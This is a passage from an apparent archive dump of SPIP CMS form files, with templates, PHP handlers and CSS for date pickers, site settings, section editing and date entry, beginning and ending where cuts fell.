[ '<:date_jour_1|texte_script:>','<:date_jour_2|texte_script:>','<:date_jour_3|texte_script:>','<:date_jour_4|texte_script:>', '<:date_jour_5|texte_script:>','<:date_jour_6|texte_script:>','<:date_jour_7|texte_script:>'], dayNamesShort: [ '<:date_jour_1_abbr|texte_script:>','<:date_jour_2_abbr|texte_script:>','<:date_jour_3_abbr|texte_script:>','<:date_jour_4_abbr|texte_script:>', '<:date_jour_5_abbr|texte_script:>','<:date_jour_6_abbr|texte_script:>','<:date_jour_7_abbr|texte_script:>'], dayNamesMin: [ '<:date_jour_1_initiale|texte_script:>','<:date_jour_2_initiale|texte_script:>','<:date_jour_3_initiale|texte_script:>','<:date_jour_4_initiale|texte_script:>', '<:date_jour_5_initiale|texte_script:>','<:date_jour_6_initiale|texte_script:>','<:date_jour_7_initiale|texte_script:>'], dateFormat: 'dd/mm/yy', firstDay: 1, changeMonth: true, changeYear: true, showOtherMonths: true, selectOtherMonths: true, yearRange: "c-60:c+40" }; } function time_picker_options() { return { step: #ENV{heure_pas,30}, }; } function date_picker_init(){ // Initialisation du sélecteur sur les champs de date jQuery('input.date').not('.datePicker') .addClass('datePicker').each(function() { // Pour chaque champ, on regarde s'il y a des options propres var options = {showOn: 'button'}; if (jQuery(this).data('startdate')) { options.minDate = jQuery(this).data('startdate'); } if (jQuery(this).data('enddate')) { options.maxDate = jQuery(this).data('enddate'); } if (jQuery(this).data('yearrange')) { options.yearRange = jQuery(this).data('yearrange'); } jQuery(this) .datepicker(jQuery.extend(date_picker_options(),options)) .trigger('datePickerLoaded') .next('.ui-datepicker-trigger').removeAttr('title'); }); // Initialisation du sélecteur sur les champs d'heure jQuery("input.heure").not('.timePicker') .addClass('timePicker').each(function() { // Pour chaque champ, on regarde s'il y a des options propres var options = {}; if (jQuery(this).data('starttime')) { options.startTime = jQuery(this).data('starttime'); } if (jQuery(this).data('endtime')) { options.endTime = jQuery(this).data('endtime'); } if (jQuery(this).data('step')) { options.step = jQuery(this).data('step'); } jQuery(this) .timePicker(jQuery.extend(time_picker_options(), options)); }); } var date_picker_loading; if (window.jQuery){ jQuery(function(){ if (jQuery('input.date,input.heure').length && typeof date_picker_loading=="undefined"){ date_picker_loading = jQuery.getScript('[(#PRODUIRE{fond=formulaires/dateur/jquery.dateur.js}|timestamp)]'); date_picker_loading.done(function(){ date_picker_init(); onAjaxLoad(date_picker_init); }) } }); } /*]]>*/</script> <style type="text/css"> [(#INCLURE{formulaires/dateur/time_picker.css}|compacte{css})] img.ui-datepicker-trigger { display: inline-block; padding: 0; margin: 0; margin-[(#ENV{lang}|lang_dir|choixsiegal{ltr,left,right})]: -19px; vertical-align: middle; z-index:2 } div.time-picker {font-size:11px; width:5em; /* needed for IE */} .formulaire_spip input.date {width:9em;padding-[(#ENV{lang}|lang_dir|choixsiegal{ltr,right,left})]:25px;} .formulaire_spip input.heure {width:7em;} </style> dateur/time_picker.css000060400000001063152526232120011031 0ustar00div.time-picker { position: absolute; height: 191px; width:4em; /* needed for IE */ overflow: auto; background: #fff; border: 1px solid #aaa; z-index: 99998; /* 98 */ margin: 0; } div.time-picker-12hours { width:6em; /* needed for IE */ } div.time-picker ul { list-style-type: none; margin: 0; padding: 0; } div.time-picker li { cursor: pointer; height: 10px; font: 12px/1 Helvetica, Arial, sans-serif; padding: 4px 3px; box-sizing:content-box; } div.time-picker li.selected { background: #888; /* #0063CE */ color: #fff; } configurer_flux.html000060400000003424152526232120010632 0ustar00<div class="formulaire_spip formulaire_configurer formulaire_#FORM formulaire_#FORM-#ENV{id,nouveau}"> <h3 class='titrem'><img src="#CHEMIN_IMAGE{rss-24.png}" class="cadre-icone" /><:ical_titre_rss:></h3> [<p class="reponse_formulaire reponse_formulaire_ok">(#ENV*{message_ok})</p>] [<p class="reponse_formulaire reponse_formulaire_erreur">(#ENV*{message_erreur})</p>] [(#ENV{editable}) [(#SET{titre,<:icone_suivi_activite:>})] <p><:info_syndication_integrale_1{url=#URL_ECRIRE{synchro},titre=#GET{titre}}:></p> <form method='post' action='#ENV{action}'><div> [(#REM) declarer les hidden qui declencheront le service du formulaire parametre : url d'action ] #ACTION_FORMULAIRE <div class="editer-groupe"> #SET{name,syndication_integrale}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer long_label editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label for="#GET{name}"><:info_syndication_integrale_2:></label>[ <span class='erreur_message'>(#GET{erreurs})</span> ]<div class="choix"> <input type="radio" name="#GET{name}" id="#GET{name}_oui" value="oui" [(#ENV{#GET{name}}|=={oui}|oui)checked="checked"] /><label for="#GET{name}_oui"><:item_autoriser_syndication_integrale:></label> </div> <div class="choix"> <input type="radio" name="#GET{name}" id="#GET{name}_non" value="non" [(#ENV{#GET{name}}|=={oui}|non)checked="checked"] /><label for="#GET{name}_non"><:item_non_autoriser_syndication_integrale:></label> </div> </div> </div> [(#REM) ajouter les saisies supplementaires : extra et autre, a cet endroit ] <!--extra--> <p class='boutons'><span class='image_loading'> </span><input type='submit' class='submit' value='<:bouton_enregistrer:>' /></p> </div></form> ] </div>declarer_bases_2.html000060400000004260152526232120010607 0ustar00<div class="ajax formulaire_spip formulaire_configurer formulaire_#FORM formulaire_#FORM-#ENV{id,nouveau}"> <h3 class="titrem"><:onglet_declarer_une_autre_base:> (2/3)</h3> [<p class="reponse_formulaire reponse_formulaire_ok">(#ENV*{message_ok})</p>] [<p class="reponse_formulaire reponse_formulaire_erreur">(#ENV*{message_erreur})</p>] <form method='post' action='#ENV{action}'><div> [(#REM) declarer les hidden qui declencheront le service du formulaire parametre : url d'action ] #ACTION_FORMULAIRE <div class="editer-groupe"> #SET{name,choix_db}#SET{obli,''}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label for="#GET{name}"><:config_titre_base_sup_choix:></label>[ <span class='erreur_message'>(#GET{erreurs})</span> ] #SET{def,checked="checked"} <BOUCLE_db(POUR){tableau #ENV*{_bases_prop}}> <div class="choix"> <input type="radio" class="radio" name="choix_db" value="#VALEUR" id="choix_#VALEUR" [(#VALEUR|=={#ENV{main_db}}|oui)disabled="disabled"] [(#VALEUR|=={#ENV{choix_db}}|oui)checked="checked" #SET{def,''}] /> <label for="choix_#VALEUR" [(#CLE|=={#ENV{main_db}|oui})class="off"]>#VALEUR</label> </div> </BOUCLE_db> <p><:config_erreur_base_sup:></p> <//B_db> </div> <div class="editer"> <label><:info_ou:></label> <div class="choix"> <input type="radio" class="radio" name="choix_db" value="-1" id='new' #GET{def}/> <label for='new' class="on"><:config_choix_base_sup:></label> </div> <input type="text" class="text" name="table_new" value="#ENV*{table_new}" onfocus="$(this).siblings('.choix').find('input').prop('checked',true);" /> </div> </div> [(#REM) ajouter les saisies supplementaires : extra et autre, a cet endroit ] <!--extra--> <p class='boutons'><span class='image_loading'> </span> <input type='submit' class='submit hidden' value='<:bouton_suivant:>' /> <input type='submit' class='submit' name="_retour_etape_1" value='<:icone_retour:>' /> <input type='submit' class='submit' value='<:bouton_suivant:>' /></p> </div></form> </div> configurer_annonces.php000060400000005241152526232120011302 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ if (!defined('_ECRIRE_INC_VERSION')) { return; } function formulaires_configurer_annonces_charger_dist() { $valeurs = array(); foreach (array( 'suivi_edito', 'adresse_suivi', 'adresse_suivi_inscription', 'quoi_de_neuf', 'adresse_neuf', 'jours_neuf', 'email_envoi', ) as $m) { $valeurs[$m] = $GLOBALS['meta'][$m]; } return $valeurs; } function formulaires_configurer_annonces_verifier_dist() { $erreurs = array(); if (_request('suivi_edito') == 'oui') { if (!$email = _request('adresse_suivi')) { $erreurs['adresse_suivi'] = _T('info_obligatoire'); } else { include_spip('inc/filtres'); if (!email_valide($email)) { $erreurs['adresse_suivi'] = _T('form_prop_indiquer_email'); } } } if (_request('quoi_de_neuf') == 'oui') { if (!$email = _request('adresse_neuf')) { $erreurs['adresse_neuf'] = _T('info_obligatoire'); } else { include_spip('inc/filtres'); if (!email_valide($email)) { $erreurs['adresse_neuf'] = _T('form_prop_indiquer_email'); } } if (!$email = _request('jours_neuf')) { $erreurs['jours_neuf'] = _T('info_obligatoire'); } } return $erreurs; } function formulaires_configurer_annonces_traiter_dist() { $res = array('editable' => true); foreach (array( 'suivi_edito', 'quoi_de_neuf', ) as $m) { if (!is_null($v = _request($m))) { ecrire_meta($m, $v == 'oui' ? 'oui' : 'non'); } } foreach (array( 'adresse_suivi', 'adresse_suivi_inscription', 'adresse_neuf', 'jours_neuf', 'email_envoi', ) as $m) { if (!is_null($v = _request($m))) { ecrire_meta($m, $v); } } $res['message_ok'] = _T('config_info_enregistree'); // provoquer l'envoi des nouveautes en supprimant le fichier lock if (_request('envoi_now')) { effacer_meta('dernier_envoi_neuf'); $id_job = job_queue_add('mail', 'Test Envoi des nouveautes', array(0), 'genie/'); include_spip('inc/queue'); queue_schedule(array($id_job)); $res['message_ok'] .= '<br />' . _T('info_liste_nouveautes_envoyee'); } return $res; } configurer_avertisseur.html000060400000003206152526232120012226 0ustar00<div class="formulaire_spip formulaire_configurer formulaire_#FORM formulaire_#FORM-#ENV{id,nouveau}"> <h3 class='titrem'><img src="#CHEMIN_IMAGE{article-24.png}" class="cadre-icone" /><:info_travail_colaboratif:>#AIDER{artmodif}</h3> [<p class="reponse_formulaire reponse_formulaire_ok">(#ENV*{message_ok})</p>] [<p class="reponse_formulaire reponse_formulaire_erreur">(#ENV*{message_erreur})</p>] [(#ENV{editable}) <p><:texte_travail_collaboratif:></p> <form method='post' action='#ENV{action}'><div> [(#REM) declarer les hidden qui declencheront le service du formulaire parametre : url d'action ] #ACTION_FORMULAIRE <div class="editer-groupe"> #SET{name,articles_modif}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}} <div class="editer editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> [ <span class='erreur_message'>(#GET{erreurs})</span> ]<div class="choix"> <input type="radio" name="#GET{name}" id="#GET{name}_oui" value="oui" [(#ENV{#GET{name}}|=={oui}|oui)checked="checked"] /><label for="#GET{name}_oui"><:item_activer_messages_avertissement:></label> </div> <div class="choix"> <input type="radio" name="#GET{name}" id="#GET{name}_non" value="non" [(#ENV{#GET{name}}|=={oui}|non)checked="checked"] /><label for="#GET{name}_non"><:item_non_activer_messages_avertissement:></label> </div> </div> </div> [(#REM) ajouter les saisies supplementaires : extra et autre, a cet endroit ] <!--extra--> <p class='boutons'><span class='image_loading'> </span><input type='submit' class='submit' value='<:bouton_enregistrer:>' /></p> </div></form> ] </div>editer_rubrique.php000060400000014051152526232120010444 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Gestion du formulaire de d'édition de rubrique * * @package SPIP\Core\Rubriques\Formulaires **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } include_spip('inc/actions'); include_spip('inc/editer'); /** * Chargement du formulaire d'édition d'une rubrique * * @see formulaires_editer_objet_charger() * * @param int|string $id_rubrique * Identifiant de la rubrique. 'new' pour une nouvelle rubrique * @param int $id_parent * Identifiant de la rubrique parente * @param string $retour * URL de redirection après le traitement * @param int $lier_trad * Identifiant éventuel d'une rubrique source de traduction * @param string $config_fonc * Nom de la fonction ajoutant des configurations particulières au formulaire * @param array $row * Valeurs de la ligne SQL de la rubrique, si connue * @param string $hidden * Contenu HTML ajouté en même temps que les champs cachés du formulaire. * @return array * Environnement du formulaire **/ function formulaires_editer_rubrique_charger_dist( $id_rubrique = 'new', $id_parent = 0, $retour = '', $lier_trad = 0, $config_fonc = 'rubriques_edit_config', $row = array(), $hidden = '' ) { $valeurs = formulaires_editer_objet_charger( 'rubrique', $id_rubrique, $id_parent, $lier_trad, $retour, $config_fonc, $row, $hidden ); if (test_formulaire_inclus_par_modele()){ if (intval($id_rubrique) and !autoriser('modifier', 'rubrique', intval($id_rubrique))){ $valeurs['editable'] = ''; } } return $valeurs; } /** * Choix par défaut des options de présentation * * @param array $row * Valeurs de la ligne SQL d'une rubrique, si connue * return array * Configuration pour le formulaire */ function rubriques_edit_config($row) { global $spip_lang; $config = $GLOBALS['meta']; $config['lignes'] = 8; $config['langue'] = $spip_lang; $config['restreint'] = (!$GLOBALS['connect_toutes_rubriques']); return $config; } /** * Identifier le formulaire en faisant abstraction des paramètres qui * ne représentent pas l'objet édité * * @param int|string $id_rubrique * Identifiant de la rubrique. 'new' pour une nouvelle rubrique * @param int $id_parent * Identifiant de la rubrique parente * @param string $retour * URL de redirection après le traitement * @param int $lier_trad * Identifiant éventuel d'une rubrique source de traduction * @param string $config_fonc * Nom de la fonction ajoutant des configurations particulières au formulaire * @param array $row * Valeurs de la ligne SQL de la rubrique, si connue * @param string $hidden * Contenu HTML ajouté en même temps que les champs cachés du formulaire. * @return string * Hash du formulaire */ function formulaires_editer_rubrique_identifier_dist( $id_rubrique = 'new', $id_parent = 0, $retour = '', $lier_trad = 0, $config_fonc = 'rubriques_edit_config', $row = array(), $hidden = '' ) { return serialize(array(intval($id_rubrique), $lier_trad)); } /** * Vérifications du formulaire d'édition d'une rubrique * * @see formulaires_editer_objet_verifier() * * @param int|string $id_rubrique * Identifiant de la rubrique. 'new' pour une nouvelle rubrique * @param int $id_parent * Identifiant de la rubrique parente * @param string $retour * URL de redirection après le traitement * @param int $lier_trad * Identifiant éventuel d'une rubrique source de traduction * @param string $config_fonc * Nom de la fonction ajoutant des configurations particulières au formulaire * @param array $row * Valeurs de la ligne SQL de la rubrique, si connue * @param string $hidden * Contenu HTML ajouté en même temps que les champs cachés du formulaire. * @return array * Erreurs du formulaire **/ function formulaires_editer_rubrique_verifier_dist( $id_rubrique = 'new', $id_parent = 0, $retour = '', $lier_trad = 0, $config_fonc = 'rubriques_edit_config', $row = array(), $hidden = '' ) { // auto-renseigner le titre si il n'existe pas titre_automatique('titre', array('descriptif', 'texte')); // on ne demande pas le titre obligatoire : il sera rempli a la volee dans editer_rubrique si vide $erreurs = formulaires_editer_objet_verifier('rubrique', $id_rubrique, array()); return $erreurs; } /** * Traitements du formulaire d'édition d'une rubrique * * @see formulaires_editer_objet_traiter() * * @param int|string $id_rubrique * Identifiant de la rubrique. 'new' pour une nouvelle rubrique * @param int $id_parent * Identifiant de la rubrique parente * @param string $retour * URL de redirection après le traitement * @param int $lier_trad * Identifiant éventuel d'une rubrique source de traduction * @param string $config_fonc * Nom de la fonction ajoutant des configurations particulières au formulaire * @param array $row * Valeurs de la ligne SQL de la rubrique, si connue * @param string $hidden * Contenu HTML ajouté en même temps que les champs cachés du formulaire. * @return array * Retour des traitements **/ function formulaires_editer_rubrique_traiter_dist( $id_rubrique = 'new', $id_parent = 0, $retour = '', $lier_trad = 0, $config_fonc = 'rubriques_edit_config', $row = array(), $hidden = '' ) { return formulaires_editer_objet_traiter( 'rubrique', $id_rubrique, $id_parent, $lier_trad, $retour, $config_fonc, $row, $hidden ); } dater.php000060400000027666152526232120006371 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Gestion du formulaire de date * * @package SPIP\Core\Formulaires **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Chargement du formulaire d'édition d'une date * * @param string $objet * Type d'objet * @param int $id_objet * Identifiant de l'objet * @param string $retour * URL de redirection après le traitement * @param array|string $options * Options. Si string, unserialize pour obtenir un tableau. * * - date_redac : Permet de modifier en plus la date de rédaction antérieure * - champ_date : permet de preciser le champ date qu'on utilise * - label_date : label optionnel pour la saisie du champ date * - champ_date_redac : permet de preciser le champ date_redac qu'on utilise * - label_date_redac : label optionnel pour la saisie du champ date_redac * - texte_sans_date_redac : texte optionnel affiche pour vider la date_redac * - class : une classe ajoutable au formulaire pour le distinguer si on a plusieurs occurences * @return array * Environnement du formulaire **/ function formulaires_dater_charger_dist($objet, $id_objet, $retour = '', $options = array()) { $objet = objet_type($objet); if (!$objet or !intval($id_objet)) { return false; } if (!is_array($options)) { $options = unserialize($options); } $_id_objet = id_table_objet($objet); $table = table_objet($objet); $trouver_table = charger_fonction('trouver_table', 'base'); $desc = $trouver_table($table); if (!$desc) { return false; } $champ_date = $desc['date'] ? $desc['date'] : 'date'; if (isset($options['champ_date']) and $options['champ_date']) { $champ_date = $options['champ_date']; } if (!isset($desc['field'][$champ_date])) { return false; } $valeurs = array( 'objet' => $objet, 'id_objet' => $id_objet, 'id' => $id_objet, ); $select = "$champ_date as date"; $champ_date_redac = 'date_redac'; if (isset($options['champ_date_redac']) and $options['champ_date_redac']) { $champ_date_redac = $options['champ_date_redac']; } if (isset($desc['field'][$champ_date_redac])) { $select .= ",$champ_date_redac as date_redac"; } if (isset($desc['field']['statut'])) { $select .= ",statut"; } $row = sql_fetsel($select, $desc['table'], "$_id_objet=" . intval($id_objet)); $statut = isset($row['statut']) ? $row['statut'] : 'publie'; // pas de statut => publie $valeurs['editable'] = autoriser('dater', $objet, $id_objet, null, array('statut' => $statut)); $possedeDateRedac = false; if (isset($row['date_redac']) and $regs = recup_date($row['date_redac'], false) ) { $annee_redac = $regs[0]; $mois_redac = $regs[1]; $jour_redac = $regs[2]; $heure_redac = $regs[3]; $minute_redac = $regs[4]; $possedeDateRedac = true; // attention : les vrai dates de l'annee 1 sont stockee avec +9000 => 9001 // mais reviennent ici en annee 1 par recup_date // on verifie donc que le intval($row['date_redac']) qui ressort l'annee // est bien lui aussi <=1 : dans ce cas c'est une date sql 'nulle' ou presque, selon // le gestionnnaire sql utilise (0001-01-01 pour PG par exemple) if (intval($row['date_redac']) <= 1 and ($annee_redac <= 1) and ($mois_redac <= 1) and ($jour_redac <= 1)) { $possedeDateRedac = false; } } else { $annee_redac = $mois_redac = $jour_redac = $heure_redac = $minute_redac = 0; } if ($regs = recup_date($row['date'], false)) { $annee = $regs[0]; $mois = $regs[1]; $jour = $regs[2]; $heure = $regs[3]; $minute = $regs[4]; } // attention, si la variable s'appelle date ou date_redac, le compilo va // la normaliser, ce qu'on ne veut pas ici. $valeurs['afficher_date_redac'] = ($possedeDateRedac ? $row['date_redac'] : ''); $valeurs['date_redac_jour'] = dater_formater_saisie_jour($jour_redac, $mois_redac, $annee_redac); $valeurs['date_redac_heure'] = "$heure_redac:$minute_redac"; $valeurs['afficher_date'] = $row['date']; $valeurs['date_jour'] = dater_formater_saisie_jour($jour, $mois, $annee); $valeurs['date_heure'] = "$heure:$minute"; $valeurs['sans_redac'] = !$possedeDateRedac; if (isset($options['date_redac'])) { $valeurs['_editer_date_anterieure'] = $options['date_redac']; } else { $valeurs['_editer_date_anterieure'] = ($objet == 'article' and ($GLOBALS['meta']['articles_redac'] != 'non' or $possedeDateRedac)); } $valeurs['_label_date'] = (($statut == 'publie') ? _T('texte_date_publication_objet') : _T('texte_date_creation_objet')); if (isset($options['label_date']) and $options['label_date']) { $valeurs['_label_date'] = $options['label_date']; } if (isset($options['label_date_redac']) and $options['label_date_redac']) { $valeurs['_label_date_redac'] = $options['label_date_redac']; } if (isset($options['texte_sans_date_redac']) and $options['texte_sans_date_redac']) { $valeurs['_texte_sans_date_redac'] = $options['texte_sans_date_redac']; } if (isset($options['class']) and $options['class']) { $valeurs['_class'] = $options['class']; } $valeurs['_saisie_en_cours'] = (_request('_saisie_en_cours') !== null or _request('date_jour') !== null); // cas ou l'on ne peut pas dater mais on peut modifier la date de redac anterieure // https://core.spip.net/issues/3494 $valeurs['_editer_date'] = $valeurs['editable']; if ($valeurs['_editer_date_anterieure'] and !$valeurs['editable']) { $valeurs['editable'] = autoriser('modifier', $objet, $id_objet); } return $valeurs; } /** * Formate la date * * @param string|int $jour * Numéro du jour * @param string|int $mois * Numéro du mois * @param string|int $annee * Année * @param string $sep * Séparateur * @return string * Date formatée tel que `02/10/2012` **/ function dater_formater_saisie_jour($jour, $mois, $annee, $sep = '/') { $annee = str_pad($annee, 4, '0', STR_PAD_LEFT); if (intval($jour)) { $jour = str_pad($jour, 2, '0', STR_PAD_LEFT); $mois = str_pad($mois, 2, '0', STR_PAD_LEFT); return "$jour$sep$mois$sep$annee"; } if (intval($mois)) { $mois = str_pad($mois, 2, '0', STR_PAD_LEFT); return "$mois$sep$annee"; } return $annee; } /** * Identifier le formulaire en faisant abstraction des paramètres qui * ne représentent pas l'objet edité * * @param string $objet * Type d'objet * @param int $id_objet * Identifiant de l'objet * @param string $retour * URL de redirection après le traitement * @param array|string $options * Options. * @return string * Hash du formulaire **/ function formulaires_dater_identifier_dist($objet, $id_objet, $retour = '', $options = array()) { return serialize(array($objet, $id_objet)); } /** * Vérifications avant traitements du formulaire d'édition d'une date * * @param string $objet * Type d'objet * @param int $id_objet * Identifiant de l'objet * @param string $retour * URL de redirection après le traitement * @param array|string $options * Options. * @return Array * Tableau des erreurs */ function formulaires_dater_verifier_dist($objet, $id_objet, $retour = '', $options = array()) { $erreurs = array(); // ouvrir le formulaire en edition ? if (_request('_saisie_en_cours')) { $erreurs['message_erreur'] = ''; return $erreurs; } if (_request('changer')) { foreach (array('date', 'date_redac') as $k) { if ($v = _request($k . '_jour') and !dater_recuperer_date_saisie($v, $k)) { $erreurs[$k] = _T('format_date_incorrecte'); } elseif ($v = _request($k . '_heure') and !dater_recuperer_heure_saisie($v)) { $erreurs[$k] = _T('format_heure_incorrecte'); } } if (!_request('date_jour')) { $erreurs['date'] = _T('info_obligatoire'); } } return $erreurs; } /** * Traitement du formulaire d'édition d'une date * * @param string $objet * Type d'objet * @param int $id_objet * Identifiant de l'objet * @param string $retour * URL de redirection après le traitement * @param array|string $options * Options. * @return Array * Retours des traitements */ function formulaires_dater_traiter_dist($objet, $id_objet, $retour = '', $options = array()) { $res = array('editable' => ' '); if (_request('changer')) { $table = table_objet($objet); $trouver_table = charger_fonction('trouver_table', 'base'); $desc = $trouver_table($table); if (!$desc) { return array('message_erreur' => _L('erreur')); } #impossible en principe $champ_date = $desc['date'] ? $desc['date'] : 'date'; if (isset($options['champ_date']) and $options['champ_date']) { $champ_date = $options['champ_date']; } $set = array(); $charger = charger_fonction('charger', 'formulaires/dater/'); $v = $charger($objet, $id_objet, $retour, $options); if ($v['_editer_date']) { if (!$d = dater_recuperer_date_saisie(_request('date_jour'))) { $d = array(date('Y'), date('m'), date('d')); } if (!$h = dater_recuperer_heure_saisie(_request('date_heure'))) { $h = array(0, 0); } $set[$champ_date] = sql_format_date($d[0], $d[1], $d[2], $h[0], $h[1]); } $champ_date_redac = 'date_redac'; if (isset($options['champ_date_redac']) and $options['champ_date_redac']) { $champ_date_redac = $options['champ_date_redac']; } if (isset($desc['field'][$champ_date_redac]) and $v['_editer_date_anterieure']) { if (!_request('date_redac_jour') or _request('sans_redac')) { $set[$champ_date_redac] = sql_format_date(0, 0, 0, 0, 0, 0); } else { if (!$d = dater_recuperer_date_saisie(_request('date_redac_jour'), 'date_redac')) { $d = array(date('Y'), date('m'), date('d')); } if (!$h = dater_recuperer_heure_saisie(_request('date_redac_heure'))) { $h = array(0, 0); } $set[$champ_date_redac] = sql_format_date($d[0], $d[1], $d[2], $h[0], $h[1]); } } if (count($set)) { $publie_avant = objet_test_si_publie($objet, $id_objet); include_spip('action/editer_objet'); objet_modifier($objet, $id_objet, $set); $publie_apres = objet_test_si_publie($objet, $id_objet); if ($publie_avant !== $publie_apres) { // on refuse ajax pour forcer le rechargement de la page ici // on refera traiter une 2eme fois, mais c'est sans consequence refuser_traiter_formulaire_ajax(); } } } if ($retour) { $res['redirect'] = $retour; } set_request('date_jour'); set_request('date_redac_jour'); set_request('date_heure'); set_request('date_redac_heure'); return $res; } /** * Récupérer annee, mois, jour sur la date saisie * * @param string $post * @param string $quoi * @return array|string Chaîne vide si date invalide, tableau (année, mois, jour) sinon. */ function dater_recuperer_date_saisie($post, $quoi = 'date') { if (!preg_match('#^(?:(?:([0-9]{1,2})[/-])?([0-9]{1,2})[/-])?([0-9]{4}|[0-9]{1,2})#', $post, $regs)) { return ''; } if ($quoi == 'date_redac') { if ($regs[3] <> '' and $regs[3] < 1001) { $regs[3] += 9000; } return array($regs[3], $regs[2], $regs[1]); } else { if ( checkdate(intval($regs[2]), intval($regs[1]), intval($regs[3])) and $t = mktime(0, 0, 0, $regs[2], $regs[1], $regs[3]) ) { return array(date('Y', $t), date('m', $t), date('d', $t)); } return ''; } } /** * Récupérer heures,minutes sur l'heure saisie * * @param string $post * @return array */ function dater_recuperer_heure_saisie($post) { if (!preg_match('#([0-9]{1,2})(?:[h:](?:([0-9]{1,2}))?)?#', $post, $regs)) { return ''; } if ($regs[1] > 23 or $regs[2] > 59) { return ''; } return array($regs[1], $regs[2]); } inc-choisir-objets.html000060400000001235152526232120011122 0ustar00#SET{traductions,#ARRAY}<BOUCLE_objets(DATA){source tableau,#REM|lister_tables_objets_sql}{cle !IN #ENV{exclus,''}}>[(#EDITABLE|oui) [(#SET{traductions,#GET{traductions}|array_merge{#ARRAY{#CLE,#TEXTE_OBJETS|_T}}})] ]</BOUCLE_objets><BOUCLE_par_traduction(DATA){source tableau,#GET{traductions}}{par valeur}> #SET{id,#ENV{name}|replace{\W,'_'}|concat{'_',#CLE}} <div class="choix choix_#CLE"> <input type="checkbox" id="#GET{id}" name="#ENV{name}\[\]" value="#CLE"[(#ENV{selected}|=={all}|ou{#CLE|in_any{#ENV{selected}}})checked="checked"] /> <label for="#GET{id}">#VALEUR</label> </div> </BOUCLE_par_traduction> <input type="hidden" name="#ENV{name}[]" value="" /> configurer_identite.html000060400000005510152526232120011457 0ustar00<div class="formulaire_spip formulaire_configurer formulaire_#FORM formulaire_#FORM-#ENV{id,nouveau}"> <h3 class='titrem'><:titre_identite_site:></h3> [<p class="reponse_formulaire reponse_formulaire_ok">(#ENV**{message_ok})</p>] [<p class="reponse_formulaire reponse_formulaire_erreur">(#ENV*{message_erreur})</p>] [(#ENV{editable}) <form method='post' action='#ENV{action}'><div> [(#REM) declarer les hidden qui declencheront le service du formulaire parametre : url d'action ] #ACTION_FORMULAIRE <div class="editer-groupe"> #SET{name,nom_site}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}}#SET{obli,obligatoire} <div class="editer editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label for="#GET{name}"><:info_nom_site:></label> [<span class='erreur_message'>(#GET{erreurs})</span>] <input type='text' class='text' name='#GET{name}' id='#GET{name}' value="#ENV{#GET{name}}" /> </div> #SET{name,slogan_site}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}}#SET{obli,''} <div class="editer editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label for="#GET{name}"><:label_slogan_site:></label> [<span class='erreur_message'>(#GET{erreurs})</span>] <input type='text' class='text' name='#GET{name}' id='#GET{name}' value="#ENV{#GET{name}}" /> </div> #SET{name,adresse_site}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}}#SET{obli,obligatoire} <div class="editer editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label for="#GET{name}"><:info_adresse_url:></label> [<span class='erreur_message'>(#GET{erreurs})</span>] <input type='text' class='text' name='#GET{name}' id='#GET{name}' value="#ENV{#GET{name}}" /> </div> #SET{name,descriptif_site}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}}#SET{obli,''} <div class="editer editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label for="#GET{name}"><:texte_descriptif_rapide:></label> [<span class='erreur_message'>(#GET{erreurs})</span>] <textarea name='#GET{name}' id='#GET{name}' rows='7'>#ENV{#GET{name}}</textarea> </div> #SET{name,email_webmaster}#SET{erreurs,#ENV**{erreurs}|table_valeur{#GET{name}}}#SET{obli,''} <div class="editer editer_[(#GET{name})][ (#GET{obli})][ (#GET{erreurs}|oui)erreur]"> <label for="#GET{name}"><:info_email_webmestre:></label> [<span class='erreur_message'>(#GET{erreurs})</span>] <input type='text' class='text' name='#GET{name}' id='#GET{name}' value="#ENV{#GET{name}}" /> </div> </div> [(#REM) ajouter les saisies supplementaires : extra et autre, a cet endroit ] <!--extra--> <p class='boutons'><span class='image_loading'> </span><input type='submit' class='submit' value='<:bouton_enregistrer:>' /></p> </div></form> ] </div>inc-apercu-logo.html000060400000001250152526232120010410 0ustar00<div class="apercu"> [<div class="spip_logo"><a href="#ENV{logo}" class='mediabox'>(#ENV{logo}|image_reduire{[(#ENV{_options}|table_valeur{image_reduire}|sinon{170})]}|inserer_attribut{alt,#ENV{quoi,logo_on}})</a></div>] #SET{largeur,#ENV{logo}|largeur} #SET{hauteur,#ENV{logo}|hauteur} [<div class="titre">(#ENV{titre,''})</div>] <div class="taille"><:info_largeur_vignette{largeur_vignette=#GET{largeur},hauteur_vignette=#GET{hauteur}}:></div> [(#ENV{editable}|oui) <input type='submit' class='submit supprimer' 